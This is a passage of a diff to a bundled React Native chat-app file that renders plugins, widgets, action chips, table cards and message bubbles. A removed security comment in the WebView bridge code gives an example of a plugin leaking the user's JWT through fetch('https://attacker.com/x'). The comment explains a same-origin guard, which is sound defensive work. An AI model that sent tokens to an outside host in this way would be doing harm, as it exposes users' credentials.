+ const iframeUrl = manifest?.render?.iframeUrl;
778
+ if (bundleMissing && iframeUrl) {
779
+ return /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(EmbeddedPluginWebView, { pluginId: id, manifest, commandBufferRef });
780
+ }
781
+ if (loading) {
782
+ return /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_react_native3.View, { style: styles3.center, children: [
783
+ /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.ActivityIndicator, { size: "small", color: import_core4.colors.dark.accent }),
784
+ /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.loadingText, children: "Loading plugin..." })
785
+ ] });
786
+ }
787
+ if (error || !plugin) {
788
+ return /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.View, { style: styles3.center, children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.errorMessage, children: error || "Plugin not found" }) });
789
+ }
790
+ const { Component } = plugin;
791
+ return /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(PluginErrorBoundary, { pluginId: id, children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(Component, { bridge, native, theme, context, props: engineProps }) });
792
+ }
793
+ var styles3 = import_react_native3.StyleSheet.create({
794
+ center: {
795
+ flex: 1,
796
+ justifyContent: "center",
797
+ alignItems: "center",
798
+ backgroundColor: import_core4.colors.dark.bgPrimary,
799
+ paddingHorizontal: 32,
800
+ gap: 12
801
+ },
802
+ loadingText: {
803
+ color: import_core4.colors.dark.textSecondary,
804
+ fontSize: 14
805
+ },
806
+ error: {
807
+ flex: 1,
808
+ justifyContent: "center",
809
+ alignItems: "center",
810
+ backgroundColor: import_core4.colors.dark.bgPrimary,
811
+ paddingHorizontal: 32,
812
+ gap: 8
813
+ },
814
+ errorTitle: {
815
+ color: import_core4.colors.dark.red,
816
+ fontSize: 16,
817
+ fontWeight: "600"
818
+ },
819
+ errorMessage: {
820
+ color: import_core4.colors.dark.textSecondary,
821
+ fontSize: 14,
822
+ textAlign: "center"
823
+ },
824
+ retryBtn: {
825
+ marginTop: 12,
826
+ paddingHorizontal: 20,
827
+ paddingVertical: 10,
828
+ backgroundColor: import_core4.colors.dark.accentSoft,
829
+ borderRadius: 8
830
+ },
831
+ retryText: {
832
+ color: import_core4.colors.dark.accent,
833
+ fontSize: 14,
834
+ fontWeight: "600"
835
+ }
836
+ });
1344
837
 
1345
- // Inject Authorization header ONLY for same-origin requests. A relative
1346
- // path resolves against window.location.origin; an absolute URL must
1347
- // literally match. This stops a plugin from leaking the JWT to a foreign
1348
- // host via fetch('https://attacker.com/x') or via <base href>.
1349
- var sameOrigin = false;
1350
- try {
1351
- var resolved = new URL(urlStr, window.location.origin);
1352
- sameOrigin = (resolved.origin === window.location.origin);
1353
- } catch (_) { sameOrigin = false; }
1354
- if (sameOrigin) {
1355
- opts = Object.assign({}, opts || {});
1356
- var h = opts.headers;
1357
- if (h instanceof Headers) {
1358
- if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }
1359
- } else {
1360
- h = Object.assign({}, h || {});
1361
- if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }
1362
- opts.headers = h;
838
+ // src/plugin/PluginSurface.tsx
839
+ var import_jsx_runtime4 = require("react/jsx-runtime");
840
+ function PluginSurface({ pluginId, surface, dismiss, props }) {
841
+ const [manifest, setManifest] = (0, import_react5.useState)(null);
842
+ const [error, setError] = (0, import_react5.useState)(null);
843
+ (0, import_react5.useEffect)(() => {
844
+ let cancelled = false;
845
+ (0, import_plugin_runtime3.getPlugin)(pluginId).then((m) => {
846
+ if (!cancelled) m ? setManifest(m) : setError("Plugin not found");
847
+ }).catch((e) => {
848
+ if (!cancelled) setError(e?.message || "Failed to load");
849
+ });
850
+ return () => {
851
+ cancelled = true;
852
+ };
853
+ }, [pluginId]);
854
+ const body = manifest ? /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(Plugin, { id: pluginId, manifest, props }) : /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: { flex: 1, justifyContent: "center", alignItems: "center", padding: 24 }, children: error ? null : /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.ActivityIndicator, { color: import_core5.ada.orange }) });
855
+ if (surface.type === "fullscreen") {
856
+ return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
857
+ import_plugin_runtime3.SurfaceFullscreen,
858
+ {
859
+ visible: true,
860
+ onClose: dismiss,
861
+ status: surface.title,
862
+ showWordmark: true,
863
+ closeIcon: "x",
864
+ closeLabel: "Close",
865
+ children: body
1363
866
  }
867
+ );
868
+ }
869
+ return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
870
+ import_plugin_runtime3.SurfaceDrawer,
871
+ {
872
+ visible: true,
873
+ onClose: dismiss,
874
+ title: surface.title || pluginId,
875
+ subtitle: surface.subtitle,
876
+ privacy: !!surface.privacy,
877
+ children: body
878
+ }
879
+ );
880
+ }
881
+
882
+ // src/plugin/WidgetHost.tsx
883
+ var import_jsx_runtime5 = require("react/jsx-runtime");
884
+ var useWidgetHostStore = (0, import_zustand.create)((set) => ({
885
+ pluginId: null,
886
+ props: void 0,
887
+ open: (pluginId, props) => set({ pluginId, props }),
888
+ close: () => set({ pluginId: null, props: void 0 })
889
+ }));
890
+ function openWidget(pluginId, props) {
891
+ const surfaces = import_plugin_runtime4.useSurfaceStore.getState();
892
+ if (surfaces.manifests[pluginId]) {
893
+ surfaces.show(pluginId, props);
894
+ return;
895
+ }
896
+ useWidgetHostStore.getState().open(pluginId, props);
897
+ }
898
+ function WidgetHost() {
899
+ const pluginId = useWidgetHostStore((s) => s.pluginId);
900
+ const props = useWidgetHostStore((s) => s.props);
901
+ const close = useWidgetHostStore((s) => s.close);
902
+ (0, import_react6.useEffect)(() => {
903
+ return import_core6.pluginCommandEmitter.on("focus-plugin", (data) => {
904
+ if (data?.pluginId) openWidget(String(data.pluginId), data.props);
905
+ });
906
+ }, []);
907
+ if (!pluginId) return null;
908
+ return /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(
909
+ PluginSurface,
910
+ {
911
+ pluginId,
912
+ surface: { type: "fullscreen" },
913
+ dismiss: close,
914
+ props
915
+ },
916
+ pluginId
917
+ );
918
+ }
919
+
920
+ // src/chat/UIActionsRow.tsx
921
+ var import_jsx_runtime6 = require("react/jsx-runtime");
922
+ var fontFam = import_react_native5.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
923
+ var ICON_MAP = {
924
+ timer: "\u23F1",
925
+ memory: "\u{1F9E0}",
926
+ calendar: "\u{1F4C5}",
927
+ home: "\u{1F3E0}",
928
+ bell: "\u{1F514}",
929
+ star: "\u2B50",
930
+ bolt: "\u26A1"
931
+ };
932
+ function UIActionsRow({ actions }) {
933
+ if (!Array.isArray(actions) || actions.length === 0) return null;
934
+ const handlePress = (a) => {
935
+ (0, import_plugin_runtime5.getHaptics)()?.selection();
936
+ const id = a.pluginId || a.target;
937
+ if (!id) return;
938
+ const focus = a.payload?.id || a.payload?.entity_id || a.payload?.focusId;
939
+ const surface = import_plugin_runtime5.useSurfaceStore.getState().manifests[id];
940
+ if (surface) {
941
+ import_plugin_runtime5.useSurfaceStore.getState().show(id, focus ? { focus } : void 0);
942
+ return;
1364
943
  }
1365
-
1366
- return _origFetch(url, opts).then(function(res) {
1367
- _dbg(' <- ' + res.status + ' ' + urlStr.substring(0, 60));
1368
- return res;
1369
- }).catch(function(err) {
1370
- _dbg(' <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));
1371
- throw err;
1372
- });
1373
- };
1374
-
1375
- // Handle results from RN host
1376
- function _handleHostMessage(d) {
1377
- if (!d || d.source !== 'adas-host') return;
1378
- var msg = d.message || {};
1379
-
1380
- // mcp-fetch-result: response to intercepted fetch("/mcp")
1381
- if (msg.type === 'mcp-fetch-result' && msg.payload) {
1382
- var p = msg.payload;
1383
- var pending = _pendingMcp[p.requestId];
1384
- if (pending) {
1385
- delete _pendingMcp[p.requestId];
1386
- if (p.error) {
1387
- pending.reject(new Error(p.error));
1388
- } else {
1389
- pending.resolve(new Response(JSON.stringify(p.result), {
1390
- status: 200,
1391
- headers: { 'Content-Type': 'application/json' }
1392
- }));
944
+ const params = {};
945
+ if (focus) params.focus = String(focus);
946
+ if (a.intent === "suggested_action" && a.payload?.tool) {
947
+ params.tool = String(a.payload.tool);
948
+ if (a.payload?.args) {
949
+ try {
950
+ params.args = JSON.stringify(a.payload.args);
951
+ } catch {
1393
952
  }
1394
953
  }
1395
954
  }
1396
- }
1397
-
1398
- // 3. Override window.parent.postMessage (plugins use this in iframes)
1399
- window.parent = window.parent || {};
1400
- window.parent.postMessage = function(data, origin) {
1401
- if (data && data.source === 'adas-plugin') {
1402
- window.ReactNativeWebView.postMessage(JSON.stringify(data));
955
+ if (a.intent === "quick_toggle" && a.payload?.verb) {
956
+ params.verb = String(a.payload.verb);
1403
957
  }
1404
- };
1405
-
1406
- // 4. Also intercept direct window.postMessage
1407
- var origPost = window.postMessage.bind(window);
1408
- window.postMessage = function(data, origin) {
1409
- if (data && data.source === 'adas-plugin') {
1410
- window.ReactNativeWebView.postMessage(JSON.stringify(data));
958
+ const navigate = getUIActionNavigator();
959
+ if (navigate) {
960
+ navigate({ pluginId: id, params });
961
+ return;
1411
962
  }
1412
- origPost(data, origin);
963
+ openWidget(id, Object.keys(params).length ? params : void 0);
1413
964
  };
965
+ return /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native5.View, { style: styles4.row, children: actions.map((a, i) => {
966
+ const icon = a.icon ? ICON_MAP[a.icon.toLowerCase()] : null;
967
+ return /* @__PURE__ */ (0, import_jsx_runtime6.jsxs)(
968
+ import_react_native5.Pressable,
969
+ {
970
+ accessibilityRole: "button",
971
+ accessibilityLabel: a.description || a.label,
972
+ onPress: () => handlePress(a),
973
+ style: ({ pressed }) => [styles4.chip, pressed && styles4.chipPressed],
974
+ children: [
975
+ icon ? /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native5.Text, { style: styles4.icon, children: icon }) : null,
976
+ /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native5.Text, { style: styles4.label, numberOfLines: 1, children: a.label })
977
+ ]
978
+ },
979
+ `${a.target || "a"}-${i}`
980
+ );
981
+ }) });
982
+ }
983
+ var styles4 = import_react_native5.StyleSheet.create({
984
+ row: {
985
+ flexDirection: "row",
986
+ flexWrap: "wrap",
987
+ gap: 6,
988
+ marginTop: 10
989
+ },
990
+ chip: {
991
+ flexDirection: "row",
992
+ alignItems: "center",
993
+ gap: 6,
994
+ paddingHorizontal: 12,
995
+ paddingVertical: 6,
996
+ backgroundColor: import_core7.ada.orangeSoft,
997
+ borderColor: import_core7.ada.orange,
998
+ borderWidth: 1,
999
+ borderRadius: 14
1000
+ },
1001
+ chipPressed: {
1002
+ backgroundColor: import_core7.ada.orange
1003
+ },
1004
+ icon: {
1005
+ fontSize: 12,
1006
+ lineHeight: 14
1007
+ },
1008
+ label: {
1009
+ color: import_core7.ada.orangeDeep,
1010
+ fontSize: import_core7.fontSize.xs,
1011
+ fontWeight: "600",
1012
+ fontFamily: fontFam
1013
+ }
1014
+ });
1414
1015
 
1415
- // 5. Forward messages from RN host -> plugin
1416
- // iOS: window 'message' event, Android: document 'message' event
1417
- window.addEventListener('message', function(e) {
1418
- try {
1419
- var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
1420
- if (d && d.source === 'adas-host') {
1421
- _handleHostMessage(d);
1422
- if (typeof e.data === 'string') {
1423
- window.dispatchEvent(new MessageEvent('message', { data: d }));
1424
- }
1425
- }
1426
- } catch(_) {}
1427
- });
1016
+ // src/chat/TableCardBlock.tsx
1017
+ var import_react_native6 = require("react-native");
1018
+ var import_core8 = require("@ateam-ai-mobile/core");
1019
+ var import_jsx_runtime7 = require("react/jsx-runtime");
1020
+ var fontFam2 = import_react_native6.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
1021
+ function TableCardBlock({ columns, rows }) {
1022
+ if (!columns?.length || !rows?.length) return null;
1023
+ const [titleCol, ...detailCols] = columns;
1024
+ return /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native6.View, { style: styles5.wrap, children: rows.map((row, i) => {
1025
+ const cells = Array.isArray(row) ? row : [row];
1026
+ const title = cells[0];
1027
+ return /* @__PURE__ */ (0, import_jsx_runtime7.jsxs)(import_react_native6.View, { style: styles5.card, children: [
1028
+ /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native6.Text, { style: styles5.title, children: String(title ?? "") }),
1029
+ detailCols.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native6.View, { style: styles5.details, children: detailCols.map((col, ci) => {
1030
+ const value = cells[ci + 1];
1031
+ if (value == null || value === "") return null;
1032
+ return /* @__PURE__ */ (0, import_jsx_runtime7.jsxs)(import_react_native6.View, { style: styles5.row, children: [
1033
+ /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native6.Text, { style: styles5.label, children: String(col) }),
1034
+ /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native6.Text, { style: styles5.value, children: String(value) })
1035
+ ] }, ci);
1036
+ }) })
1037
+ ] }, i);
1038
+ }) });
1039
+ }
1040
+ var styles5 = import_react_native6.StyleSheet.create({
1041
+ wrap: {
1042
+ marginVertical: 6,
1043
+ gap: 8
1044
+ },
1045
+ card: {
1046
+ backgroundColor: import_core8.ada.paper,
1047
+ borderRadius: import_core8.borderRadius.md,
1048
+ borderWidth: 1,
1049
+ borderColor: import_core8.ada.border,
1050
+ padding: import_core8.spacing.md
1051
+ },
1052
+ title: {
1053
+ color: import_core8.ada.ink,
1054
+ fontSize: import_core8.fontSize.md,
1055
+ fontWeight: "600",
1056
+ fontFamily: fontFam2,
1057
+ letterSpacing: -0.2,
1058
+ marginBottom: 6
1059
+ },
1060
+ details: {
1061
+ gap: 4
1062
+ },
1063
+ row: {
1064
+ flexDirection: "row",
1065
+ alignItems: "flex-start",
1066
+ gap: 8
1067
+ },
1068
+ label: {
1069
+ color: import_core8.ada.inkMuted,
1070
+ fontSize: import_core8.fontSize.xs,
1071
+ fontFamily: fontFam2,
1072
+ fontWeight: "500",
1073
+ width: 84,
1074
+ textTransform: "uppercase",
1075
+ letterSpacing: 0.6,
1076
+ paddingTop: 2
1077
+ },
1078
+ value: {
1079
+ flex: 1,
1080
+ color: import_core8.ada.inkSoft,
1081
+ fontSize: import_core8.fontSize.sm,
1082
+ fontFamily: fontFam2,
1083
+ lineHeight: 18
1084
+ }
1085
+ });
1428
1086
 
1429
- document.addEventListener('message', function(e) {
1430
- try {
1431
- var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
1432
- _handleHostMessage(d);
1433
- window.dispatchEvent(new MessageEvent('message', { data: d }));
1434
- } catch(_) {}
1435
- });
1087
+ // src/stores/lightboxStore.ts
1088
+ var import_zustand2 = require("zustand");
1089
+ var useLightboxStore = (0, import_zustand2.create)((set) => ({
1090
+ uri: null,
1091
+ show: (uri) => set({ uri }),
1092
+ hide: () => set({ uri: null })
1093
+ }));
1436
1094
 
1437
- _dbg('Bridge JS loaded. Waiting for plugin...');
1438
- true;
1439
- })();
1440
- `;
1095
+ // src/chat/MessageBubble.tsx
1096
+ var import_jsx_runtime8 = require("react/jsx-runtime");
1097
+ var fontFam3 = import_react_native7.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
1098
+ function formatTime(date) {
1099
+ const h = date.getHours();
1100
+ const m = date.getMinutes().toString().padStart(2, "0");
1101
+ return `${h}:${m}`;
1441
1102
  }
1442
-
1443
- // src/plugin/EmbeddedPluginWebView.tsx
1444
- var import_jsx_runtime9 = require("react/jsx-runtime");
1445
- function EmbeddedPluginWebView({ pluginId, manifest, commandBufferRef }) {
1446
- const [error, setError] = (0, import_react6.useState)(null);
1447
- const token = (0, import_core9.getToken)();
1448
- const tenant = (0, import_core9.getTenant)();
1449
- const { webViewRef, sendInit, handleMessage } = usePluginBridge(pluginId, manifest._connectorId, commandBufferRef);
1450
- const url = (0, import_plugin_runtime5.resolvePluginUrl)(manifest, tenant || void 0);
1451
- const bridgeJS = buildPluginBridgeJS(token || "", tenant || "");
1452
- const allowedHosts = (0, import_react6.useMemo)(() => {
1453
- const hosts = /* @__PURE__ */ new Set();
1454
- const urls = [(0, import_core9.getCoreApiUrl)()];
1455
- const voice = (0, import_core9.getConfig)().voiceUrl;
1456
- if (voice) urls.push(voice);
1457
- for (const u of urls) {
1458
- try {
1459
- hosts.add(new URL(u).hostname);
1460
- } catch {
1103
+ function DaySeparator({ date }) {
1104
+ const today = /* @__PURE__ */ new Date();
1105
+ const yesterday = new Date(today);
1106
+ yesterday.setDate(yesterday.getDate() - 1);
1107
+ let label;
1108
+ if (isSameDay(date, today)) {
1109
+ label = "Today";
1110
+ } else if (isSameDay(date, yesterday)) {
1111
+ label = "Yesterday";
1112
+ } else {
1113
+ label = date.toLocaleDateString(void 0, { weekday: "long", month: "short", day: "numeric" });
1114
+ }
1115
+ return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: separatorStyles.container, children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: separatorStyles.pill, children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: separatorStyles.text, children: label }) }) });
1116
+ }
1117
+ function isSameDay(a, b) {
1118
+ return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
1119
+ }
1120
+ var separatorStyles = import_react_native7.StyleSheet.create({
1121
+ container: {
1122
+ alignItems: "center",
1123
+ marginVertical: 14
1124
+ },
1125
+ pill: {
1126
+ backgroundColor: import_core9.ada.paperSoft,
1127
+ paddingHorizontal: 14,
1128
+ paddingVertical: 5,
1129
+ borderRadius: 999
1130
+ },
1131
+ text: {
1132
+ fontSize: 12,
1133
+ fontWeight: "600",
1134
+ color: import_core9.ada.inkMuted,
1135
+ letterSpacing: 0.4,
1136
+ fontFamily: fontFam3
1137
+ }
1138
+ });
1139
+ function MessageBubble({ message }) {
1140
+ const isUser = message.role === "user";
1141
+ const isSystem = message.role === "system";
1142
+ const isNotification = !isUser && message.kind === "notification";
1143
+ const [copied, setCopied] = (0, import_react7.useState)("");
1144
+ const showCopied = (0, import_react7.useCallback)((label) => {
1145
+ setCopied(label);
1146
+ (0, import_plugin_runtime6.getHaptics)()?.notification("success");
1147
+ setTimeout(() => setCopied(""), 1500);
1148
+ }, []);
1149
+ const copyText = (0, import_react7.useCallback)(async (text) => {
1150
+ const clipboard = getClipboard();
1151
+ if (!clipboard) return;
1152
+ await clipboard.setString(text);
1153
+ showCopied("Copied!");
1154
+ }, [showCopied]);
1155
+ const handleLongPress = (0, import_react7.useCallback)(() => {
1156
+ copyText(message.content);
1157
+ }, [message.content, copyText]);
1158
+ return /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native7.View, { style: [styles6.row, isUser && styles6.rowUser], children: [
1159
+ !isUser && !isNotification && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.avatarOrb, children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
1160
+ import_plugin_runtime6.AdaOrb,
1161
+ {
1162
+ size: 28,
1163
+ state: message.jobProgress?.status === "running" ? "thinking" : "idle"
1164
+ }
1165
+ ) }),
1166
+ isNotification && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.notificationLeftStripe }),
1167
+ /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(
1168
+ import_react_native7.Pressable,
1169
+ {
1170
+ accessibilityRole: "text",
1171
+ accessibilityLabel: `${isUser ? "You" : isNotification ? "Notification" : "Ada"}: ${message.content}`,
1172
+ accessibilityHint: "Long-press to copy",
1173
+ onLongPress: handleLongPress,
1174
+ style: [
1175
+ styles6.bubble,
1176
+ isUser && styles6.bubbleUser,
1177
+ isSystem && styles6.bubbleSystem,
1178
+ isNotification && styles6.bubbleNotification
1179
+ ],
1180
+ children: [
1181
+ isNotification && /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native7.View, { style: styles6.notificationHeader, children: [
1182
+ /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.notificationHeaderIcon, children: "\u{1F514}" }),
1183
+ /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.notificationHeaderText, children: "Notification" })
1184
+ ] }),
1185
+ message.attachments && message.attachments.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.attachments, children: message.attachments.map((att, i) => att.previewUri ? /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
1186
+ import_react_native7.Pressable,
1187
+ {
1188
+ accessibilityRole: "imagebutton",
1189
+ accessibilityLabel: `Photo${att.name ? `: ${att.name}` : ""}. Tap to enlarge.`,
1190
+ onPress: () => useLightboxStore.getState().show(att.previewUri),
1191
+ children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
1192
+ import_react_native7.Image,
1193
+ {
1194
+ source: {
1195
+ uri: att.previewUri,
1196
+ ...att.previewUri.startsWith("http") ? {
1197
+ headers: { Authorization: `Bearer ${(0, import_core9.getConfig)().tokenProvider.getToken()}` }
1198
+ } : {}
1199
+ },
1200
+ style: styles6.attachmentImage,
1201
+ resizeMode: "cover",
1202
+ onError: (e) => console.warn("[Image] Failed to load:", att.previewUri?.slice(0, 100), e.nativeEvent.error)
1203
+ }
1204
+ )
1205
+ },
1206
+ i
1207
+ ) : /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.attachmentFile, children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.attachmentFileName, numberOfLines: 1, children: att.name }) }, i)) }),
1208
+ isUser ? (
1209
+ // Hide the "See attachment" placeholder when the bubble already shows the photo.
1210
+ message.content && !(message.content === "See attachment" && message.attachments?.length) ? /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { selectable: true, style: styles6.userText, children: message.content }) : null
1211
+ ) : renderAssistantContent(message.content, copyText),
1212
+ !!copied && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.copiedBadge, children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.copiedText, children: copied }) }),
1213
+ message.toolCalls && message.toolCalls.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(ToolCallsBadge, { calls: message.toolCalls }),
1214
+ message.jobProgress && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(JobProgressBar, { progress: message.jobProgress }),
1215
+ !isUser && message.actions && message.actions.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(UIActionsRow, { actions: message.actions }),
1216
+ /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: [styles6.timeText, isUser && styles6.timeTextUser], children: formatTime(message.timestamp) })
1217
+ ]
1461
1218
  }
1219
+ ),
1220
+ isUser && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.avatarSpacer })
1221
+ ] });
1222
+ }
1223
+ function renderAssistantContent(content, copyText) {
1224
+ if (!content) return null;
1225
+ if (!content.includes(import_core9.TABLE_BLOCK_OPEN)) {
1226
+ return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(MarkdownBubble, { content, copyText });
1227
+ }
1228
+ const segments = [];
1229
+ let cursor = 0;
1230
+ while (cursor < content.length) {
1231
+ const open = content.indexOf(import_core9.TABLE_BLOCK_OPEN, cursor);
1232
+ if (open === -1) {
1233
+ segments.push({ kind: "md", content: content.slice(cursor) });
1234
+ break;
1235
+ }
1236
+ if (open > cursor) {
1237
+ segments.push({ kind: "md", content: content.slice(cursor, open) });
1238
+ }
1239
+ const close = content.indexOf(import_core9.TABLE_BLOCK_CLOSE, open + import_core9.TABLE_BLOCK_OPEN.length);
1240
+ if (close === -1) {
1241
+ segments.push({ kind: "md", content: content.slice(open) });
1242
+ break;
1243
+ }
1244
+ const payload = content.slice(open + import_core9.TABLE_BLOCK_OPEN.length, close);
1245
+ segments.push({ kind: "table", content: payload });
1246
+ cursor = close + import_core9.TABLE_BLOCK_CLOSE.length;
1247
+ }
1248
+ return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_jsx_runtime8.Fragment, { children: segments.map((seg, i) => {
1249
+ if (seg.kind === "md") {
1250
+ const trimmed = seg.content.trim();
1251
+ if (!trimmed) return null;
1252
+ return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(MarkdownBubble, { content: seg.content, copyText }, i);
1462
1253
  }
1463
- return hosts;
1464
- }, []);
1465
- const isAllowedPluginUrl = (0, import_react6.useCallback)((rawUrl) => {
1466
- if (!rawUrl) return false;
1467
- let parsed;
1468
1254
  try {
1469
- parsed = new URL(rawUrl);
1255
+ const data = JSON.parse(decodeURIComponent(seg.content));
1256
+ return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(TableCardBlock, { columns: data.columns, rows: data.rows }, i);
1470
1257
  } catch {
1471
- return false;
1258
+ return null;
1259
+ }
1260
+ }) });
1261
+ }
1262
+ function MarkdownBubble({ content, copyText }) {
1263
+ return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
1264
+ import_react_native_markdown_display.default,
1265
+ {
1266
+ style: markdownStyles,
1267
+ rules: {
1268
+ code_inline: (node) => /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
1269
+ import_react_native7.Text,
1270
+ {
1271
+ style: markdownStyles.code_inline,
1272
+ onPress: () => copyText(node.content),
1273
+ children: node.content
1274
+ },
1275
+ node.key
1276
+ ),
1277
+ fence: (node) => /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
1278
+ import_react_native7.Pressable,
1279
+ {
1280
+ onPress: () => copyText(node.content),
1281
+ style: markdownStyles.fence,
1282
+ children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: markdownStyles.fenceText, children: node.content })
1283
+ },
1284
+ node.key
1285
+ )
1286
+ },
1287
+ children: content
1472
1288
  }
1473
- if (parsed.protocol !== "https:" && parsed.protocol !== "http:") return false;
1474
- if (parsed.protocol === "http:") return false;
1475
- return allowedHosts.has(parsed.hostname);
1476
- }, [allowedHosts]);
1477
- const originWhitelist = (0, import_react6.useMemo)(
1478
- () => Array.from(allowedHosts).map((h) => `https://${h}`),
1479
- [allowedHosts]
1480
1289
  );
1481
- if (error) {
1482
- return /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native9.View, { style: styles9.center, children: /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native9.Text, { style: styles9.errorText, children: error }) });
1290
+ }
1291
+ function ToolCallsBadge({ calls }) {
1292
+ const [expanded, setExpanded] = (0, import_react7.useState)(false);
1293
+ const label = calls.filter((c) => c.name === "send_message_to_skill").map((c) => c.args.skill_name || c.skill).filter(Boolean).join(", ") || "Tool call";
1294
+ return /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native7.View, { style: styles6.toolCalls, children: [
1295
+ /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native7.Pressable, { style: styles6.toolToggle, onPress: () => setExpanded(!expanded), children: [
1296
+ /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.toolLabel, children: label }),
1297
+ /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.toolChevron, children: expanded ? "\u25B2" : "\u25BC" })
1298
+ ] }),
1299
+ expanded && calls.map((tc, i) => /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native7.View, { style: styles6.toolItem, children: [
1300
+ /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.toolName, children: tc.name }),
1301
+ tc.skill && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.toolSkill, children: tc.skill })
1302
+ ] }, i))
1303
+ ] });
1304
+ }
1305
+ var styles6 = import_react_native7.StyleSheet.create({
1306
+ row: {
1307
+ flexDirection: "row",
1308
+ alignItems: "flex-end",
1309
+ marginBottom: 12,
1310
+ paddingHorizontal: 12,
1311
+ gap: 8
1312
+ },
1313
+ rowUser: {
1314
+ justifyContent: "flex-end"
1315
+ },
1316
+ avatarOrb: {
1317
+ width: 28,
1318
+ height: 28,
1319
+ justifyContent: "center",
1320
+ alignItems: "center"
1321
+ },
1322
+ avatarSpacer: {
1323
+ width: 28,
1324
+ height: 28
1325
+ },
1326
+ bubble: {
1327
+ maxWidth: "78%",
1328
+ backgroundColor: import_core9.ada.botBubble,
1329
+ borderWidth: 1,
1330
+ borderColor: import_core9.ada.botBubbleBorder,
1331
+ borderRadius: import_core9.borderRadius.xl,
1332
+ paddingHorizontal: 16,
1333
+ paddingVertical: 12
1334
+ },
1335
+ bubbleUser: {
1336
+ backgroundColor: import_core9.ada.userBubble,
1337
+ borderColor: "transparent"
1338
+ },
1339
+ bubbleSystem: {
1340
+ backgroundColor: import_core9.ada.orangeSoft,
1341
+ borderColor: import_core9.ada.orange,
1342
+ maxWidth: "90%"
1343
+ },
1344
+ bubbleNotification: {
1345
